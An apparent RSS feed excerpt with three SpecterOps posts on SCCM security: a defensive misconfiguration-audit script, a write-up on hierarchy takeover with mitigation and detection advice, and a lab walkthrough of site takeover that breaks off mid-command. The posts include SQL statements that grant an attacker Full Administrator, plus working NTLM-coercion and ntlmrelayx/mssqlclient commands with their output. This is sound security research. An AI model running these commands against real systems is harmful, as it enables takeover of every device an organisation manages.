            <content:encoded><![CDATA[<h4>tl;dr: I wrote a <a href="https://github.com/subat0mik/Misconfiguration-Manager/blob/main/MisconfigurationManager.ps1">script</a> to identify every TAKEOVER and ELEVATE attack in Misconfiguration Manager.</h4><p>Ever since <a href="https://twitter.com/garrfoster">Garrett Foster</a>, <a href="https://twitter.com/subat0mik">Duane Michael</a>, and I released <a href="https://misconfigurationmanager.com/">Misconfiguration Manager</a> at <a href="https://specterops.io/so-con/">SO-CON</a> last month, we’ve had tons of great conversations with people interested in finding and fixing configurations that leave an SCCM environment vulnerable to attack, including those that allow <a href="https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/TAKEOVER-1/takeover-1_description.md">complete takeover of a default hierarchy with a remote site database in two commands</a>.</p><p>Although we detailed how to carry out, mitigate, and detect each of these attacks in the knowledge base, we soon realized from our discussions with defenders and SCCM administrators that not everyone has the bandwidth, privileges, or permission to demonstrate these attacks to their organization. The best advice we could give at the time was to ask someone with SCCM privileges to manually review the environment for misconfigurations… until now!</p><p>Introducing <a href="https://github.com/subat0mik/Misconfiguration-Manager/blob/main/MisconfigurationManager.ps1">MisconfigurationManager.ps1</a>, a PowerShell script that can be executed to identify exactly where these issues may exist. Currently, the script can be<strong> run with any Security Role in SCCM (including Read-only Analyst) on or against any SMS Provider to identify every </strong><a href="https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/TAKEOVER/_takeover-techniques-list.md"><strong>TAKEOVER</strong></a><strong> and </strong><a href="https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/_attack-techniques-list.md"><strong>ELEVATE</strong></a><strong> technique in Misconfiguration Manager</strong> (except for TAKEOVER-9, for now).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h3Y9Bn9nPFDhP_JO" /><figcaption>TAKEOVER Techniques Identified by MisconfigurationManager.ps1</figcaption></figure><p>I have plans to add support to identify configurations that allow the CRED attacks and that pesky last TAKEOVER technique, and I’d like to publish MisconfigurationManager.ps1 in the PowerShell Gallery at some point, but I wanted to get this tool into the community’s hands sooner rather than later after getting it this far.</p><p>Under the hood, the script uses WMI to query the local or specified SMS Provider and interacts with WMI, the registry, and service control manager on site systems. The script runs in two phases to identify issues:</p><ol><li><strong>TAKEOVER checks</strong>: First, it uses the Read-only Analyst (or higher) SCCM privileges to query the SMS Provider to find out what site system roles exist on the site server and which are hosted remotely. The list of possible issues is created using this information.</li><li><strong>Mitigation checks: </strong>Next, the script connects to the remotely hosted site systems with local admin privileges to see if these NTLM relay mitigations are in place:</li></ol><ul><li>SMB signing is required</li><li>Extended protection for authentication (EPA) is required</li><li>WebClient is not installed</li><li>The central administration site server computer account is not an admin on the child site server that extended the hierarchy</li></ul><p>Using the information from step 2, the script removes false positives from the possible issue list created in step 1.</p><p>Therefore, to identify potential issues and remove false positives if mitigations are in place, <strong>run it with local admin privileges and network connectivity to RPC and SMB on site systems </strong>for the most accurate and complete results.</p><p>I’ve tested the script in one lab with a central administration site, two primary sites, and a secondary site, as well as a second lab with a standalone primary site. The console output logic is pretty in the weeds, so if I didn’t account for a certain architecture and you’re not seeing expected results or you’re seeing errors or false negatives, please <a href="https://github.com/subat0mik/Misconfiguration-Manager/issues">let me know by opening an issue</a>.</p><p>Here’s how to use it:</p><pre>./MisconfigurationManager.ps1 [-SMSProvider &lt;SMS_PROVIDER&gt;] [-Timeout &lt;int&gt;] [-Verbose]</pre><p>When using the <strong>-Verbose</strong> option, the script <strong>prints information</strong> <strong>as checks are performed</strong> and warns the user when any potential issues are identified:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HzpqeO4lSVbF7n-B" /><figcaption>Verbose Output</figcaption></figure><p>After collection is finished and the results are analyzed, MisconfigurationManager.ps1 <strong>prints a</strong> <strong>visual representation of the hierarchy</strong>, including which site systems may be impacted by ELEVATE or TAKEOVER attacks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AUiGv2_OwtEN9BCL" /><figcaption>Hierarchy Visualization</figcaption></figure><p>Note that the script errs on the side of false positives. For example, if it does not have local admin privileges on the site systems or if connections time out,<strong> it will recommend you manually check for any potential issues that have not been ruled out</strong>.</p><p>It’s not perfect, as it doesn’t take every possible mitigation into consideration (e.g., firewall rules, policies/registry entries that block NTLM authentication, domain controller and AD CS configurations, etc.) and therefore makes some assumptions, but it will very quickly<strong> identify risky configurations that are worth looking into further</strong>. If you know of any mitigating factors the script doesn’t account for that can reasonably be checked for with PowerShell, notice any issues with the script, or would like to see additional features added to it, I look forward to your <a href="https://github.com/subat0mik/Misconfiguration-Manager/pulls">pull request</a> 😀 (or feedback)!</p><p>I hope that MisconfigurationManager.ps1 makes your life easier and helps you identify potential issues in your environment without needing to conduct manual reviews. If you have any questions or feedback as you go, please reach out to me on <a href="https://twitter.com/_Mayyhem">Twitter</a> or in the #sccm channel in the <a href="https://ghst.ly/BHSlack">BloodHound Slack</a>. Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0beecaab1af3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/rooting-out-risky-sccm-configs-with-misconfiguration-manager-0beecaab1af3">Rooting out Risky SCCM Configs with Misconfiguration Manager</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SCCM Hierarchy Takeover]]></title>
            <link>https://medium.com/specter-ops-posts/sccm-hierarchy-takeover-41929c61e087?source=rss-1cf7ed8b7054------2</link>
            <guid isPermaLink="false">https://medium.com/p/41929c61e087</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[configmgr]]></category>
            <category><![CDATA[sccm]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Chris Thompson]]></dc:creator>
            <pubDate>Mon, 25 Sep 2023 14:52:48 GMT</pubDate>
            <atom:updated>2023-09-25T18:06:49.266Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>One Site to Rule Them All</strong></p><h3>tl;dr:</h3><p><strong>There is no security boundary between sites in the same hierarchy</strong>.</p><p>When an administrative user is granted a security role in SCCM, such as Full Administrator or Infrastructure Administrator, in any primary site, the underlying database changes propagate upward to the central administration site (CAS) and then to other primary sites in the hierarchy.</p><p>This means that <strong>if an attacker gains control of any primary site, they gain control of the entire SCCM hierarchy</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Sq4hhh11fU4XQEoDtAZS6A.png" /></figure><p>Skip ahead to <a href="#4e9a">Mitigation</a> or <a href="#8b2f">Detection</a>!</p><h3>I Have the Best Words</h3><p>First, there are a few SCCM-specific terms we need to be familiar with to better understand the problem. Feel free to <a href="#3cc2">skip ahead</a> if you already know your site systems from your site servers.</p><ul><li><strong>SCCM</strong>: A client-server solution commonly used to deploy software and updates to Windows systems, currently named Microsoft Configuration Manager (ConfigMgr, Config Man, or MCM), but <a href="https://craigtwall.com/how-sccm-became-memcm-or-just-configmgr/">formerly</a>:<br>- Microsoft Endpoint Configuration Manager (MECM)<br>- Microsoft Endpoint Manager Configuration Manager (MEMCM)<br>- System Center Configuration Manager (SCCM)<br>- Systems Management Server (SMS)<br>I’ll stop calling it SCCM when they change the name of <a href="https://www.reddit.com/r/SCCM/">the subreddit</a>. It’s easier than trying to keep up with Microsoft’s branding.</li><li><strong>Hierarchy</strong>: all of the sites in one instance of SCCM</li><li><strong>Site</strong>: an environment that provides services to a scope of clients (primary and secondary sites) and/or admins (central administration site and primary sites), represented by a three-character site code</li><li><strong>Site system role</strong>: a role installed on a site system to host functionality for a site (e.g., site server, site database, distribution point)</li><li><strong>Site system</strong>: a server that hosts a site system role (also unfortunately referred to as site system servers, but we will just call them site systems to avoid confusion with site servers)</li><li><strong>Site server</strong>: the required site system where the site is installed that handles data processing and interacts with the site database</li><li><strong>Client</strong>: a device where the SCCM client software is installed that is joined to a primary site</li><li><strong>Primary site</strong>: the only type of site that client devices can be assigned to</li><li><strong>Primary site server</strong>: the system that handles processing of all client data in a primary site, also referred to as just the “site server”</li><li><strong>Central administration site</strong>: an optional top-level site that can be used to manage multiple primary sites</li><li><strong>Site database</strong>: a required site system role for central administration sites, primary sites, and secondary sites that stores and processes data</li><li><strong>Site database server</strong>: hosts the site database for a site, can be colocated on the site server or hosted on a remote system</li><li><strong>Secondary site</strong>: a child of a primary site used to distribute content to clients in remote locations with low bandwidth connections</li><li><strong>ConfigMgr console</strong>: The software that administrators use to manage a site</li><li><strong>SMS Provider</strong>: a site system role that provides an interface for the ConfigMgr console to interact with the site database</li><li><strong>Security role</strong>: a set of permissions applied to admin users to control access to SCCM objects (e.g., sites, device collections) and actions (e.g., read, modify, deploy)</li><li><strong>Security scope</strong>: a container of objects to which a security role can be granted access (e.g., an admin is granted the permissions in security role A to the objects added to security scope B)</li></ul><p>Here is a diagram of what an example SCCM hierarchy might look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGVrrAJ2x1xLd2XgxTv6Ug.png" /></figure><p>Confused yet? Sorry — I didn’t make these names up, but these are the names we were given. This will be a good reference to come back to as we will use these terms throughout the rest of this post.</p><h3>The Problem</h3><p>It really surprised me to observe this behavior in my lab as I was researching another technique for hierarchy takeover that required a handful of extra steps and no longer seems important. I always assumed that role-based access control in SCCM was defined on a per-site basis.</p><p>Apparently I’m just late to the party and this is well-known to SCCM admins, because <strong>allowing hierarchy-wide access to SCCM administrators by default was a design decision</strong> that is <a href="https://learn.microsoft.com/en-us/mem/configmgr/core/understand/fundamentals-of-role-based-administration">well-documented by Microsoft</a>:</p><blockquote>Sites aren’t used as administrative boundaries. In other words, don’t expand a standalone primary site to a hierarchy with a central administration site to separate administrative users.</blockquote><blockquote>All security assignments are replicated and available throughout the hierarchy. Role-based administration configurations replicate to each site in the hierarchy as global data, and then are applied to all administrative connections.</blockquote><p>Sure enough, when I granted a brand new Active Directory user the Full Administrator security role in an SCCM primary site, that user appeared as a Full Administrator in the CAS and other primary sites in the hierarchy.</p><p>But wait, isn’t it possible to create custom security roles and scopes in the ConfigMgr console to limit the permissions granted to a given administrative user (e.g., admin X can only read/write to Y objects in site Z)?</p><p>Yes, but attackers with administrative access to any site database in any primary site can grant themselves Full Administrator access to the All security scope for the All Systems collection and the change will be replicated throughout the hierarchy. If they are sneaky, they could even add themselves to a custom security role with the exact permissions for the exact security scope needed to meet their objectives.</p><p>With write access to the site database in any primary site, you can do anything.</p><p>In other words, <strong>there is no way to configure SCCM role-based access control to prevent hierarchy takeover from any child primary site</strong>.</p><p>Here are just a few of the ways an attacker could make these changes to a site database (where the site server is required to have admin privileges):</p><ol><li>As any authenticated domain user, coerce NTLM authentication via SMB from a site server and relay it to that site’s remote site database, SMS Provider, or passive site server</li><li>As an administrator of any primary site, push install the SCCM client software on the site server, site database, SMS Provider, or passive site server to gain access to an account with db_owner database privileges</li><li>Gain access to a site database via less predictable but common methods such as kerberoasting the database service account, misconfigured SQL links, database administrator (DBA) account compromise, etc.</li></ol><p>Hierarchy takeover can then be executed using the following SQL statements, which <a href="https://twitter.com/_Mayyhem/status/1700602445603209236/photo/1">can be combined</a> into a single <a href="https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py">ntlmrelayx</a> command:</p><pre># Switch to site database<br>USE CM_&lt;SITE_CODE&gt;;<br><br># Grant &quot;Full Administrator&quot; security role<br>INSERT INTO RBAC_Admins<br>(AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite)<br>VALUES (&lt;USER_HEX_AD_SID&gt;,&#39;&lt;DOMAIN_SHORTNAME&gt;\&lt;USERNAME&gt;&#39;,0,0,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&lt;SITE_CODE&gt;&#39;);<br><br># Grant &quot;All Objects&quot; scope<br>INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)<br>VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = &#39;&lt;DOMAIN_SHORTNAME&gt;\&lt;USERNAME&gt;&#39;),&#39;SMS0001R&#39;,&#39;SMS00ALL&#39;,&#39;29&#39;);<br>    <br># Grant &quot;All Systems&quot; scope<br>INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)<br>VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = &#39;&lt;DOMAIN_SHORTNAME&gt;\&lt;USERNAME&gt;&#39;),&#39;SMS0001R&#39;,&#39;SMS00001&#39;,&#39;1&#39;);<br><br># Grant &quot;All Users and User Groups&quot; scope<br>INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)<br>VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = &#39;&lt;DOMAIN_SHORTNAME&gt;\&lt;USERNAME&gt;&#39;),&#39;SMS0001R&#39;,&#39;SMS00004&#39;,&#39;1&#39;);&quot;</pre><p>Any account with local admin or database write privileges on any primary site database server or with <a href="https://sixdub.medium.com/derivative-local-admin-cdd09445aac8">derivative/transitive access to these privileges</a> could make these changes and compromise the entire hierarchy as well.</p><h3>Why This Matters</h3><p>This massively increases the blast radius of any primary site in a hierarchy being compromised, for example using the techniques documented in <a href="https://posts.specterops.io/site-takeover-via-sccms-adminservice-api-d932e22b2bf">Garrett Foster’s</a> and my <a href="https://posts.specterops.io/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1">previous research</a> on this topic. These attacks are extremely easy to execute and common across many organizations we have seen and heard about, the simplest path only requiring that:</p><ul><li>any site server is reachable via SMB to coerce NTLM authentication (or authentication can be coerced another way, such as automatic client push installation);</li><li>any site database or SMS Provider for that site is hosted remotely from the site server, or there is a passive site server;</li><li>that remote site database (or site server in a high availability pair with a local site database) is reachable via MSSQL, that remote SMS Provider is reachable via HTTPS, or that site server, remote site database, or remote SMS Provider is reachable via SMB;</li><li>NTLM relay protections (e.g., NTLM disabled, SMB Signing, EPA, MFA) are not required; and</li><li>firewall rules between the attacker and the site server, site database, SMS Provider, or passive site server aren’t restricted to necessary sources (although this requirement can be bypassed in some cases — keep an eye out for more on this in a future post).</li></ul><p>If the conditions above are met, an attacker can use <a href="https://github.com/topotam/PetitPotam">PetitPotam</a> or <a href="https://github.com/leechristensen/SpoolSample">SpoolSample</a> to coerce NTLM authentication from the site server, relay it to the database, and grant themselves administrative permissions.</p><p>There are also other possible paths that don’t involve relaying NTLM authentication from the site server, such as those involving other accounts with direct or derivative/transitive write access to the site database.</p><p>This gets particularly spicy when systems from different Active Directory forests are joined to sites in the same hierarchy, allowing <strong>compromise of one primary site to result in crossing of forest security boundaries</strong>.</p><p>If you or a loved one have been separating <a href="https://posts.specterops.io/what-is-tier-zero-part-1-e0da9b7cdfca">tier-zero</a> or other assets of a higher security classification (e.g., domain controllers) into a separate primary site to help secure them, those assets are at risk of compromise from other primary sites that may not get the same attention from the security team.</p><h3>Mitigation</h3><p>So what can we do about this?</p><p>If you have the convenience of building a new SCCM environment, follow some great advice from a long-time SCCM admin and friend and “just say no to CAS”. <strong>Use a standalone primary site</strong> instead. A CAS is only needed for environments that exceed 150,000 Windows clients.</p><p>In existing SCCM hierarchies containing any site with tier-zero assets, treat all administrative users, site servers, site databases, DBAs, SMS Providers, passive site servers, and possibly other site system roles with NTLM relay protocol connectivity to those systems (spoiler alert: <a href="https://learn.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/ports">there are tons</a>) as tier-zero themselves.</p><p>Alternatively, assign tier-zero systems to a separate hierarchy or <a href="https://learn.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/design-a-hierarchy-of-sites#standalone-primary-site">standalone primary site</a> specific to tier-zero assets if they need to be managed using SCCM.</p><p>Help <strong>prevent relayed site server NTLM authentication</strong> from being used to take over sites by requiring:</p><ul><li>the site database and SMS Provider roles to be hosted on site servers</li><li><a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing">SMB signing</a> on site databases, SMS Providers, and site servers</li><li><a href="https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/connect-to-the-database-engine-using-extended-protection?view=sql-server-ver16">Extended Protection for Authentication (EPA) on site databases</a> and <a href="https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429">Active Directory Certificate Services (AD CS) servers</a></li><li><a href="https://support.microsoft.com/en-au/topic/2020-and-2023-ldap-channel-binding-and-ldap-signing-requirements-for-windows-kb4520412-ef185fb8-00f7-167d-744c-f299a66fc00a">LDAP signing or channel binding</a> on domain controllers</li><li><a href="https://learn.microsoft.com/en-us/mem/configmgr/core/plan-design/security/plan-for-security#sms-provider-authentication">Multifactor authentication for SMS Provider calls</a></li><li>firewall rules that prevent unnecessary sources from connecting to:<br>- SMB and MSSQL on site database servers<br>- SMB and HTTPS on SMS Providers<br>- SMB on primary and central administration site servers</li></ul><p>Or you can just disable NTLM for the domain or these systems, but that is very difficult for most organizations in reality.</p><h3>Detection</h3><p>There are a few things we can look out for, such as a site system domain computer account authenticating from an IP address that doesn’t belong to it or a new user being granted a security role, for example Full Administrator.</p><p>Unfortunately, SCCM logs are intended for troubleshooting, not security, so we likely need to rely on Windows event logs or write something custom. While an audit status message is created when adding an administrative user via the console, adding an admin using direct database modifications is not logged.</p><p>I may just be missing it, but the only default SCCM log I could find after adding a new account to the Full Administrator role via MSSQL didn’t include much detail:</p><p>PS C:\Program Files\Microsoft Configuration Manager\Logs&gt; Get-ChildItem | Select-String -Pattern “lowpriv”</p><p>hman.log:1155:INFO: AddAIUsersToAIToolsDBRole, User [MAYYHEM\lowpriv] is added to role SMSDBROLE_AITOOL. $$&lt;SMS_HIERARCHY_MANAGER&gt;&lt;09–17–2023 17:26:15.614+420&gt;&lt;thread=7064 (0x1B98)&gt;</p><p>I did not find any other logs or status messages for adding an admin, whether added via the console or directly to the database. It may be more effective to monitor for impactful actions new admins could take, such as deploying applications, which are logged in status messages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DPHcAHcbZDJgPM7jTQJhow.png" /></figure><p><a href="https://learn.microsoft.com/en-us/mem/configmgr/core/servers/manage/use-status-system#manage-status-filter-rules">Status filter rules</a> can be created to take action when a certain status message occurs and/or to send them to the Windows event log.</p><p>Alternatively, you can monitor Windows event logs for additions to the local SMS Admins group on site servers, which is updated when admins are added.</p><p>If you have any detections for SCCM abuses that you have found useful, please consider sharing them to help the rest of our community!</p><p>I keep an up-to-date list of defensive recommendations for SCCM in the <a href="https://github.com/Mayyhem/SharpSCCM/wiki#defensive-recommendations">SharpSCCM wiki</a> as I learn more that may be helpful as well.</p><h3>Random Thoughts</h3><p>Changes to the copy of the site database on secondary site servers do not seem to replicate up to their parent sites. I haven’t found a way to abuse this (…yet).</p><p>It does not seem possible to exclude the tables related to this escalation path from replicating up from primary sites to the central administration site and then to other primary sites. Even if it was possible, this change would definitely <a href="https://learn.microsoft.com/en-US/troubleshoot/mem/configmgr/setup-migrate-backup-recovery/support-policy-for-manual-database-changes">not be supported by Microsoft</a> and could have unintended consequences.</p><p>I’ve only tested this in my lab, and I very well could have made some incorrect assumptions or conclusions. If you notice any mistakes or missing information in this post, I’d love to chat with you about how I can correct it.</p><h3>Coming Soon</h3><p>My coworker Garrett Foster (@<a href="https://twitter.com/garrfoster">garrfoster</a>, author of <a href="https://github.com/garrettfoster13/sccmhunter">sccmhunter</a>) and I have been collaborating on new approaches to site takeover, which we now know equates to hierarchy takeover, resulting in some very interesting attack paths we suspect many organizations are vulnerable to.</p><p>We will be authoring several more upcoming posts to provide offensive and defensive guidance for SCCM site and hierarchy takeovers and are working on a ton of new content<strong> </strong>for reproducing, mitigating, and detecting attacks involving SCCM.</p><p>We love researching this stuff. If you love it too and want to collaborate, have any questions, need some help, or are just starting your journey down this rabbit hole, hit us up in the #sccm channel in the <a href="https://bloodhoundgang.herokuapp.com/">BloodHoundGang Slack</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41929c61e087" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/sccm-hierarchy-takeover-41929c61e087">SCCM Hierarchy Takeover</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SCCM Site Takeover via Automatic Client Push Installation]]></title>
            <link>https://medium.com/specter-ops-posts/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1?source=rss-1cf7ed8b7054------2</link>
            <guid isPermaLink="false">https://medium.com/p/f567ec80d5b1</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[configuration-management]]></category>
            <category><![CDATA[sccm]]></category>
            <dc:creator><![CDATA[Chris Thompson]]></dc:creator>
            <pubDate>Thu, 12 Jan 2023 13:31:45 GMT</pubDate>
            <atom:updated>2023-07-19T17:15:38.085Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>tl;dr: Require Extended Protection for MSSQL and SMB signing on site database servers. Install hotfix KB15599094 and disable NTLM for client push installation.</strong></p><p>While reading <a href="https://books.google.com/books?id=TrBVDwAAQBAJ">SCCM Current Branch Unleashed</a> and stepping through the site installation process, I found something interesting — the primary site server’s domain computer account is <strong>required </strong>to be a member of the local <em>Administrators </em>group on the site database server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*vfg-c3CE52VufSTdsjtroA.png" /></figure><p>During site installation, this account is also added to the <em>sysadmins </em>group in the site database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*3chrgOyw-XdwM54yJhIhcw.png" /></figure><p>This means that if:</p><ol><li>automatic site assignment and automatic site-wide client push installation are enabled</li><li>fallback to NTLM authentication is enabled (default)</li><li>PKI certificates are not required for client authentication (default)</li></ol><p>AND either:</p><p>4a. MSSQL is reachable on the site database server</p><p>OR</p><p>4b: SMB is reachable and SMB signing isn’t required on the site database server</p><p>SCCM site takeover is possible by <a href="https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a">coercing NTLM authentication from the site server’s computer account</a>, relaying it to the site database server, and using MSSQL statements to grant the <em>Full Administrator </em>SCCM role, providing the attacker with complete control of every system in the site.</p><p><a href="#a2e2"><strong>Skip to mitigation and detection guidance</strong></a></p><p><a href="#6190"><strong>Skip to attack step by step</strong></a></p><h3>Background</h3><p>When I posted about coercing NTLM authentication from SCCM servers last year, I thought that the only way to take over an SCCM site via automatic client push installation was when the WebClient service was running on the site server. In this scenario, it is possible to coerce and relay HTTP NTLM authentication to LDAP to conduct RBCD, Shadow Credentials, or AD CS attacks. This service is not typically installed on Windows Server versions, so I thought it would be fairly uncommon to see in the wild.</p><p>However, the required configurations for site takeover may be more common than I previously thought.</p><p>By default, when client push installation occurs, the primary site server connects to the remote system via SMB and attempts to authenticate with each configured account, followed by its computer account. Typically, computer accounts are not added to the local <em>Administrators </em>group on other machines, which is required for successful SMB to SMB relay attacks, so I didn’t pay much attention to the SMB authentication being useful for anything other than client takeover, until now.</p><p>Knowing that the primary site server’s computer account is a member of the local <em>Administrators</em> group on the site database server means that we can relay coerced SMB authentication for this computer account to SMB or MSSQL on the site database server and grant ourselves privileges over the site.</p><p>Not only does the primary site server computer account have to be a member of the local <em>Administrators </em>group on the site database server, but also on every site server hosting the “SMS Provider” role in the hierarchy. If there is a central administration site (CAS) or secondary sites, the site server’s computer account must be an administrator on the site servers and databases there as well. It is also the default account used to install SCCM roles on other servers (e.g., distribution points, software update points, etc.). This may present other opportunities for site or client takeover that I may dive into another time.</p><h3>SCCM Site Takeover</h3><h4>Attack Path Diagram</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*_ONYc0MHm7ryrnoqRyvh1w.png" /></figure><h4>Lab Configuration</h4><pre>=================  ================  ========================================== <br> FQDN               IP                PURPOSE                         <br>=================  ================  ========================================== <br> ATLAS              192.168.57.50     Primary Site Server and Management Point        <br> P-BODY             192.168.57.51     Site Database Server       <br> GLaDOS             192.168.57.100    APERTURE.SCI Domain Controller<br> CAVE-JOHNSON-PC    192.168.57.101    Windows Attacker Host                 <br> KALI               192.168.57.130    NTLM Relay Server               <br>=================  ================  ==========================================</pre><p>The attacker host and relay server can be the same system if you have administrator privileges, but for the sake of simplicity for this demonstration, we’re going to use a Linux system on the same network. If you’re using the same system for both the attack and relay, detailed instructions can be found <a href="https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a">here</a>.</p><h4>Demo</h4><p>The following demo video depicts the full attack path, including all commands executed on each system. The lab machines are displayed in the same corners of the screen as in the diagram above.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FUwP_sz6B5Js&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DUwP_sz6B5Js&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=google" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1e1543d3ca29e61f8fe8c734d814fbd5/href">https://medium.com/media/1e1543d3ca29e61f8fe8c734d814fbd5/href</a></iframe><h4>Assumptions and Prerequisites</h4><p>You know:</p><ol><li>the three-character site code for the SCCM site (e.g., PS1)</li><li>the NetBIOS name, FQDN, or IP address of a site management point</li><li>the NetBIOS name, FQDN, or IP address of the site database server</li><li>that MSSQL is reachable on the site database server</li></ol><h4>Attack Step by Step</h4><p>1. On the attacker host, use <a href="https://github.com/Mayyhem/SharpSCCM">SharpSCCM</a> to get the hex-formatted SID of the Active Directory user you’d like to grant the <em>Full Administrator</em> role in SCCM:</p><pre>CAVE-JOHNSON-PC&gt; .\SharpSCCM.exe get user-sid<br>[+] Current user: <strong>APERTURE\cave.johnson</strong><br>[+] Active Directory SID for current user: S-1-5-21-3371398565-414029199-3966136581-1103<br>[+] Active Directory SID (hex): <strong>0x010500000000000515000000A575F3C88F95AD18057166EC4F040000</strong></pre><p><strong>Update</strong>: the get user-sid command was changed to local user-sid since this blog post was published.</p><p>2. On the relay server, start <a href="https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py">ntlmrelayx</a> with SOCKS enabled, targeting the MSSQL service at the IP address of the site database server:</p><pre> KALI&gt; impacket-ntlmrelayx -smb2support -ts -ip 192.168.57.130 -t <strong>mssql://192.168.57.51</strong> -socks</pre><p>3. On the attacker host, coerce automatic client push installation from the site server, targeting the relay server:</p><pre>CAVE-JOHNSON-PC&gt; <strong>.\SharpSCCM.exe invoke client-push -mp atlas -sc ps1 -t 192.168.57.130</strong><br>[+] Created &quot;ConfigMgr Client Messaging&quot; certificate in memory for device registration and signing/encrypting subsequent messages<br>[+] Reusable Base64-encoded certificate:<br><br>    3082...&lt;snip&gt;...07D0<br><br>[+] Discovering local properties for client registration request<br>[+] Modifying client registration request properties:<br>      FQDN: 192.168.57.130<br>      NetBIOS name: 192.168.57.130<br>      Site code: ps1<br>[+] Sending HTTP registration request to atlas:80<br>[+] Received unique SMS client GUID for new device:<br><br>    GUID:834281E5-E8C8-487A-863E-AAFE9AD7774F<br><br>[+] Discovering local properties for DDR inventory report<br>[+] Modifying DDR and inventory report properties<br>[+] Discovered PlatformID: Microsoft Windows NT Server 10.0<br>[+] Modified PlatformID: Microsoft Windows NT Workstation 2010.0<br>[+] <strong>Sending DDR from GUID:834281E5-E8C8-487A-863E-AAFE9AD7774F to MP_DdrEndpoint endpoint on atlas:ps1 and requesting client installation on 192.168.57.130</strong><br>[+] Done!</pre><p>After a few seconds, you should receive an SMB connection on the relay server that is forwarded to the site database server to establish a SOCKS connection:</p><pre>ntlmrelayx&gt; <br>[2023-01-04 16:03:28] [*] SMBD-Thread-9: Connection from APERTURE/ATLAS$@192.168.57.50 controlled, attacking target mssql://192.168.57.51<br>[2023-01-04 16:03:28] [*] <strong>Authenticating against mssql://192.168.57.51 as APERTURE/ATLAS$ SUCCEED</strong><br>[2023-01-04 16:03:28] [*] SOCKS: Adding APERTURE/ATLAS$@192.168.57.51(1433) to active SOCKS connection. Enjoy<br>[2023-01-04 16:03:28] [*] SMBD-Thread-9: Connection from APERTURE/ATLAS$@192.168.57.50 controlled, but there are no more targets left!<br>[2023-01-04 16:03:28] [*] SMBD-Thread-10: Connection from APERTURE/ATLAS$@192.168.57.50 controlled, but there are no more targets left!<br><br>ntlmrelayx&gt; socks<br>Protocol  Target         Username         AdminStatus  Port <br>--------  -------------  ---------------  -----------  ----<br>MSSQL     192.168.57.51  APERTURE/ATLAS$  N/A          1433</pre><p>4. Configure <em>/etc/proxychains4.conf</em> to use port 1080, then proxy <a href="https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py">mssqlclient</a> to the site database server, using the full name of the computer account displayed by ntlmrelayx and anything for the password:</p><pre>KALI&gt; proxychains impacket-mssqlclient <strong>&quot;APERTURE/ATLAS$&quot;@192.168.57.51</strong> -windows-auth<br>[proxychains] config file found: 